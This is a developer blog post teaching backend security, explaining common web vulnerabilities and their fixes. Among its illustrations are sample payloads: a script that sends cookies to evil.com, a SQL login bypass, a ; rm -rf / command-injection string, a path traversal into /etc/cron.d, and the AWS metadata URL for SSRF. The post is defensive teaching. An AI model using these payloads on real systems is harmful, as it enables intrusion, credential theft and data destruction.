/blogs/backend-security-think-like-an-attacker-build-like-an-engineer

← Back to blogs
Blog

Backend Security: Think Like an Attacker, Build Like an Engineer

Master backend security by understanding the mechanics behind real-world attacks and their defenses. Explore SQL Injection, NoSQL Injection, XSS, CSRF, SSRF, BOLA/IDOR, JWTs, Sessions, Password Security, Race Conditions, API Security, and production hardening through practical examples.

·16 min read·

Backend Security: Think Like an Attacker, Build Like an Engineer

Most security content is just a list of things to memorize: sanitize your inputs, hash your passwords, set HttpOnly on cookies. But checklists fail the moment you meet a vulnerability that isn't on the list.

I’ve been doing backend security reviews for a while, and I started noticing a pattern. Instead of memorizing OWASP lists, I built a single mental model for my team to help them spot vulnerabilities on sight.

Here’s the one idea that this entire post reduces to:

Every vulnerability is the same failure wearing a different costume: somewhere, the system treated untrusted data as if it were trustworthy, or treated data as if it were code.

If you internalize this, you can derive most of the fixes yourself. Let's break down how I explain this to other devs, from the basics of injection to the subtleties of race conditions, cloud metadata, and business logic.


#1. Your Backend is a Translator (And Translators Have Bugs)

Your backend doesn't exist in isolation. It sits at the center of a system that talks to databases, browsers, OS shells, and other APIs. Each of these systems has its own language, its own grammar, and its own special characters.

Rendering diagram...
  • When talking to the DB, it speaks SQL.
  • When serving a page, it produces HTML/JS.
  • When running a tool like ffmpeg, it speaks shell.

Every one of these target languages uses certain characters to separate "this is data" from "this is an instruction." In SQL, a quote ' ends a string. In shell, a semicolon ; ends a command. In HTML, a < starts a tag.

An injection vulnerability happens when you fail to mark the boundary between "instructions" and "data" during a hand-off.

Rendering diagram...

The receiving system ends up reinterpreting user-supplied data as its own commands.

SQL Injection: The Classic

Take the classic login form. If you build your query like this:

>_ sql
SELECT * FROM users WHERE email = '" + userInput + "'

You are concatenating untrusted data directly into a command string. If an attacker enters ' OR '1'='1'--, they break out of the data context. The quote closes the string, OR '1'='1' evaluates to true for every row, and -- comments out the rest of the query. The attacker just logged in without a password.

The fix isn't to "sanitize" the input (blocklists always fail because there are too many encoding tricks). The fix is to remove the concatenation step entirely. Use parameterized queries. You send the structure of the query first, and the data second, over a different part of the wire protocol. The database parses and compiles the query before it ever sees the user's value. The attacker's input is forever treated as an inert string, never as code.

NoSQL & Command Injection

This exact same root cause applies everywhere, just with different syntax:

  • NoSQL Injection: Attackers inject MongoDB operators like {"$ne": ""} (not equal to empty string) into JSON payloads to bypass password checks. Fix: Validate types explicitly before building query objects. If you expect a string, throw an error if you receive an object.
  • Command Injection: Attackers sneak ; rm -rf / into shell strings meant for tools like ffmpeg or git. Fix: Never use exec() which spawns a shell. Use argument arrays (like execFile in Node or exec.Command in Go) which bypass the shell entirely and pass arguments directly to the OS. The OS has no concept of semicolons; it just passes the string as a raw argument.

Server-Side Template Injection (SSTI) & Mass Assignment

Even templating engines and ORMs are translators.

  • SSTI: If you concatenate user input directly into a template string: Template("Hello, " + userInput), an attacker submitting {{7*7}} will get Hello, 49 back. The engine is evaluating their input as code. From there, they can often escalate to full Remote Code Execution (RCE). Fix: Always pass user data as a rendering variable: template.render(name=userInput).
  • Mass Assignment: You bind a raw request body directly to an ORM model: User.update(req.body). An attacker adds {"isAdmin": true} to the payload. Because the backend never explicitly said the client couldn't send it, the ORM happily translates it into a DB update. Fix: Maintain an explicit allowlist of writable fields per endpoint (using DTOs).

The Dev Rule: Never build a command string via concatenation. Always use the target system's native structured-call API.

Rendering diagram...

#2. The Authorization Trap: "Authenticated" ≠ "Authorized"

Authentication answers who you are. Authorization answers what you are allowed to do.

Rendering diagram...

The biggest mistake I see devs make is checking auth at the routing layer, and assuming everything downstream is safe. Your requireAuth middleware establishes that a user is logged in. It does not establish that they should be allowed to see this specific record.

Broken Object-Level Authorization (BOLA / IDOR)

Imagine an endpoint: /api/invoices?id=5. The request clears the auth middleware. The service layer runs:

>_ sql
SELECT * FROM invoices WHERE id = 5;

You just leaked another user's invoice. The dev assumed "logged in" meant "only asking for their own data." This is incredibly common because happy-path testing naturally only ever requests your own data.

Rendering diagram...

The fix: Push the check down to the point of data access.

>_ sql
SELECT * FROM invoices WHERE id = 5 AND user_id = context.userId;

The Quiet Bug: Leaking Existence

Even with the fix above, devs often make a subtle mistake:

>_ javascript
const invoice = await db.query("SELECT * FROM invoices WHERE id = $1", [invoiceId]);
if (invoice.userId !== context.userId) {
  return res.status(403).send("Forbidden"); // Flawed!
}

Returning a 403 Forbidden confirms the resource exists. An attacker can loop through IDs, mapping out your entire database (or confirming who has accounts) without seeing the contents.

The fix: Whether the invoice doesn't exist, or exists but belongs to someone else, always return 404 Not Found. From the outside, the two cases must be indistinguishable.

Defense in depth: Stop using sequential IDs (?id=5). Use UUIDs. Sequential IDs allow attackers to enumerate your entire database volume and creation order. UUIDs make enumeration practically impossible.

Broken Function-Level Authorization (BFLA)

BOLA is about reaching sideways to another user's data. BFLA is about reaching up to a higher privilege level. Imagine an admin-only endpoint: /admin/invoices. If the only thing protecting it is "we never linked this URL in the frontend UI," that's security through obscurity. An attacker guessing /admin/... will get in.

The fix: Never rely on hidden URLs. Implement explicit role checks: requireRole("admin") at the routing layer, independent of the general requireAuth check.


#3. Cross-Site Scripting (XSS), CSRF & The CORS Trap

XSS is just injection at the browser boundary. It happens when an attacker gets their own JavaScript to execute inside a legitimate user's browser, in the security context of your app.

A classic example is a Markdown comment section. If you convert Markdown to HTML and inject it into the DOM using something like React's dangerouslySetInnerHTML, you are trusting user data to be safe code. If an attacker submits a comment containing <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>, their code executes for every user who views the comment. They can steal session tokens or act as the user.

The fix:

  1. Sanitize: Before rendering user-supplied content as HTML, strip dangerous constructs using a vetted library like DOMPurify.
  2. CSP (Content Security Policy): Set an HTTP header instructing the browser to only execute scripts from your own domain. If sanitization misses something, the browser will refuse to execute the malicious inline script. CSP is your safety net, not your primary fix.

Cross-Site Request Forgery (CSRF)

CSRF is the inverse of XSS. Instead of the attacker running code on your site, it forces a logged-in user's browser to make a request to your site against their will. If you're logged into bank.com and visit evil.com, the evil site can have a hidden, auto-submitting form targeting bank.com/transfer. Your browser automatically attaches your bank.com cookies, and the bank processes the transfer.

The fix: Modern browsers default to SameSite=Lax for cookies, which prevents cookies from being sent on cross-origin background requests. This has largely neutralized CSRF. Ensure your session cookies are explicitly set to SameSite=Lax (or Strict).

The CORS Misconfiguration

CORS (Cross-Origin Resource Sharing) is often misunderstood. It's not a security mechanism; it's a browser-enforced opt-in for cross-origin reads. I see devs make this fatal mistake in PRs all the time:

>_ javascript
// DANGEROUS
res.setHeader("Access-Control-Allow-Origin", req.headers.origin);
res.setHeader("Access-Control-Allow-Credentials", "true");

Browsers block Allow-Origin: * combined with Allow-Credentials: true. To get around this, devs just reflect the incoming Origin header back. This effectively says "I allow any origin to read my data, and I'll send cookies too." You just turned your authenticated API into a free-for-all.

The fix: Validate the incoming Origin against a strict allowlist of known frontend domains. Only reflect it back if it matches.


#4. Server-Side Request Forgery (SSRF)

A lot of backend features make outbound requests based on user input: "generate a preview for this link," or "fetch this image URL."

Rendering diagram...

SSRF is what happens when an attacker uses your server as a proxy to reach destinations it can reach but they cannot—most dangerously, your internal network. Your backend sits inside your VPC. If it fetches any URL a user provides, an attacker can point it at http://169.254.169.254/latest/meta-data/iam/... (the AWS metadata endpoint) and walk away with your live cloud credentials. (This exact bug caused the massive Capital One breach).

Blocklisting IP ranges isn't enough because of DNS Rebinding. The attacker sets up a domain that resolves to a public IP during your validation check, but resolves to an internal IP milliseconds later when you actually make the request.

The Dev Rule: Never fetch a raw, user-supplied URL without strict validation. Resolve the hostname once, verify that specific IP isn't private/internal, and connect to that IP directly. Disable HTTP redirects, as a valid URL can redirect to an internal one.


#5. Trusting Metadata: File Uploads & Deserialization

File Upload Vulnerabilities

File uploads combine several attack vectors at once.

  • RCE via Upload: If you save files into a directory the web server executes (like a PHP webroot), an attacker uploads shell.php and navigates to it. Game over.
  • Path Traversal: If you use the client-supplied filename to decide where to write (fs.writeFile("./uploads/" + req.body.filename)), an attacker submits ../../etc/cron.d/malicious to escape the uploads directory and plant a cron job.
  • Trusting Content-Type: Content-Type: image/png is set by the client. It proves nothing.

The Dev Rule: Generate filenames server-side (use UUIDs). Validate the file's actual content by inspecting its "magic bytes" (the fixed known pattern at the start of a real PNG or PDF), not the extension. Store uploads outside the execution path (like S3), and serve them from a separate domain so a malicious SVG with embedded JS doesn't compromise your main site's cookies.

Insecure Deserialization

Some serialization formats (like Java's ObjectInputStream or Python's pickle) don't just restore data—they execute code as a side effect of reconstruction. If you deserialize untrusted bytes, an attacker can craft a payload that executes arbitrary code on your server the moment it's parsed.

The Dev Rule: Never deserialize untrusted data using formats capable of executable side effects. Stick to data-only formats like JSON for anything crossing a trust boundary.


#6. Password Storage & Session Management

If you're building auth from scratch (though I highly recommend using a managed provider like Clerk or Auth0), you need to understand the mechanics.

The Password Arms Race:

  • Plaintext: Never. If your DB leaks, attackers credential-stuff those passwords across banking and email sites.
  • Fast Hashes (MD5/SHA-256): Never. Attackers use GPUs to brute-force billions of guesses per second.
  • Slow Hashes (bcrypt / Argon2id): The only acceptable standard. These are deliberately slow and memory-hard. A legit user logging in waits 400ms (imperceptible). An attacker brute-forcing offline drops from billions of guesses a second to 2 or 3.

Sessions vs. JWTs: When a user logs in, generate a random, unguessable Session ID and store it in an HttpOnly, Secure, SameSite=Lax cookie. The server looks up this ID in a database/Redis cache on every request.

A lot of devs default to JWTs (JSON Web Tokens) for statelessness, but here's the trade-off: JWTs cannot be easily revoked. If a user reports "my account is compromised, log me out everywhere right now," a purely stateless JWT system has no way to honor that immediately without introducing a server-side blacklist (which defeats the purpose of being stateless).

Also, remember that JWT payloads are Base64-encoded, not encrypted. Anyone who holds the token can read its contents. Never put sensitive data in a JWT. Default to server-side sessions. Reach for JWTs only when you have a specific, concrete scaling requirement.

Password Reset Flows: The "forgot password" flow is a prime target. Reset tokens must be CSRNG-generated, single-use, short-lived (15 mins), and stored hashed in the DB. If you return "no account found" for an unregistered email, you leak account existence. Always return "If an account exists, we have sent an email."


#7. Race Conditions (TOCTOU)

Time-Of-Check to Time-Of-Use (TOCTOU) bugs are logic flaws that only happen under concurrent load.

>_ javascript
// VULNERABLE
const coupon = await db.query("SELECT uses FROM coupons WHERE code = $1", [code]);
if (coupon.uses < coupon.maxUses) {
  await db.query("UPDATE coupons SET uses = uses + 1 WHERE code = $1", [code]);
  applyDiscount();
}

Sequentially, this looks correct. But an attacker can fire 10 requests at the exact same millisecond. All 10 read uses: 4 (max is 5), all 10 pass the check, and all 10 apply the discount.

Rendering diagram...

The fix: Push the check-and-act into a single atomic operation.

>_ sql
UPDATE coupons SET uses = uses + 1 WHERE code = $1 AND uses < max_uses;

If this affects zero rows, the limit was reached. No separate SELECT should be load-bearing for your logic.

For financial operations, use Idempotency Keys. If a network drops a client's request to "charge $50," they will retry. But if they retry, you shouldn't charge them $100. The client generates a unique UUID per logical operation. The server checks if it has seen that UUID before; if yes, it returns the stored result instead of re-executing the charge.


#8. The Sneaky Stuff: Timing Attacks & Rate Limiting

Timing Attacks

Standard string equality (==) short-circuits at the first mismatched byte. If you compare a secret (an API key, a webhook signature) against attacker input using ==, the comparison takes marginally longer when more leading bytes are correct.

An attacker can measure response times to guess a secret one byte at a time, turning an astronomically large keyspace into something easily crackable.

The Dev Rule: Any time you compare a secret against untrusted input, use a constant-time comparison function (like Node's crypto.timingSafeEqual or Python's hmac.compare_digest). It examines every byte regardless of mismatches, taking the exact same time every time.

Layered Rate Limiting

If you only rate-limit by IP, attackers use botnets to bypass it. If you only rate-limit by account, attackers use "password spraying" (one guess per account across millions of accounts) to bypass it.

The fix: Layer your limits. Per-IP (stops single-source automation), Per-account ( stops targeted brute force), and Global (catches systemic spraying). For login endpoints, be strict. For other endpoints, be generous.


#9. Business Logic & Supply Chain Vulnerabilities

Business Logic

These are the hardest to detect because they use your application's features exactly as designed, just in a sequence the designer never intended.

  • Trusting Client Prices: A checkout flow where the client submits the price: POST /checkout { price: 0.01 }. The server must always be the source of truth for anything with monetary value. Recompute prices server-side.
  • Negative Quantities: A cart endpoint that doesn't validate positive quantities. An attacker submits quantity: -5 for a refund, accidentally increasing their balance instead of decreasing it.
  • Skipping Steps: If checkout is /cart -> /payment -> /confirm, and /confirm just trusts that the client reached it legitimately, an attacker can call /confirm directly, skipping payment. Every step with consequences must independently verify the server-side state of prior steps.

Supply Chain

Every third-party package you install runs with the exact same privileges as your own hand-written code. There's no sandbox. If a malicious package slips into your node_modules, it can read your environment variables and steal your database credentials.

The Dev Rule: Commit and honor lockfiles (package-lock.json, go.sum). Run automated dependency vulnerability scanning (Dependabot, Snyk). Minimize your dependency footprint. Every package you add is attack surface you've implicitly trusted. And never commit secrets to Git—deleting a secret from your latest commit doesn't remove it from the Git history. If a secret is committed, treat it as permanently compromised and rotate it immediately.


#Wrapping Up: Defense in Depth & The 3 Questions

Security isn't about finding the "one perfect fix." It's about defense in depth. If you use parameterized queries, that's great. But also run your DB with least-privilege credentials, so if an injection does slip through, the attacker can't DROP TABLE. If you sanitize HTML, also use CSP, so if sanitization misses a tag, the browser blocks it anyway.

Rendering diagram...

You can't memorize your way out of security bugs. Security is a standing practice of staying alert to assumptions. Instead of checking items off a list, build the habit of asking three questions every time you write backend code:

  1. Where is data crossing a boundary here? (DB, Shell, Browser, Internal Network, Object mapping)
  2. What am I assuming about that data? (That it's a certain length, type, belongs to the current user, or came from a trusted source)
  3. What happens if that assumption is wrong?

If you hold onto the "data vs. code" and "boundary" mental models, you'll start spotting vulnerabilities in PRs without needing a CVE to tell you they exist.

2,875 words left